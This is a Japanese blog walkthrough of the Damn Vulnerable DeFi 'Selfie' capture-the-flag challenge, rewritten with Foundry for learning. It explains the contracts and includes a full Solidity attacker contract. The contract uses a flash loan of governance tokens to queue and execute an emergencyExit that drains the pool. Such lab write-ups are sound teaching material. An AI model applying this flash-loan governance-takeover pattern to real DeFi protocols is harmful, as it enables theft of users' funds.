banner
zach

zach

github
twitter
medium

ダム・バルナブル・デフィ | セルフィー

チャレンジ #6 - セルフィー#

Solidity と Foundry のシステム的な学習のために、私は Foundry テストフレームワークをベースにして、damnvulnerable-defi の解答を再度書き直しました。交流や共同開発を歓迎します〜🎉

コントラクト#

  • SimpleGovernance:ガバナンストークンコントラクトで、ISimpleGovernance インターフェースを実装し、アクションを事前に設定し、2 日後にそのアクションを実行できます。
  • SelfiePool:IERC3156FlashLender を実装し、フラッシュローンを提供するコントラクトで、ERC20Snapshot と SimpleGovernance の 2 種類のトークンを提供します。

テスト#

  • DamnValuableTokenSnapshot コントラクトと SimpleGovernance コントラクトをデプロイします。
  • SelfiePool コントラクトをデプロイし、プールに TOKENS_IN_POOL の数だけトークンを送金します。
  • トークンに対してスナップショットを実行し、プールの残高と最大フラッシュローン供給額が TOKENS_IN_POOL になることを確認します。
  • 攻撃スクリプトを実行します。
  • 期待される結果は、プレイヤーアカウントのトークン残高が TOKENS_IN_POOL であり、プールアカウントのトークン残高が 0 であることです。

解答#

この課題の目的は、プール内のすべてのトークンを取り出すことです。プールコントラクトにはemergencyExit関数があります。

onlyGovernance条件を満たせば、現在のコントラクト内の任意の数のトークンを転送することができます。

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

onlyGovernanceは、呼び出し元がSimpleGovernanceコントラクトである必要があるという条件です。また、SimpleGovernanceコントラクトでは、アクションの設定と実行のメソッドが提供されており、アクションのパラメータにはターゲットと calldata などのコントラクト呼び出しパラメータが含まれています。

したがって、完全な呼び出しフローは以下のようになります:

image

まず、攻撃コントラクトを呼び出してフラッシュローンを実行し、goveranceToken を取得し、次に SimpleGoverance にアクションを記録します。記入するターゲットメソッドは、pool の emergencyExit を呼び出すものです。

2 日後にアクションを実行して、プールのすべてのトークンを移動します。

コードは以下のようになります:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。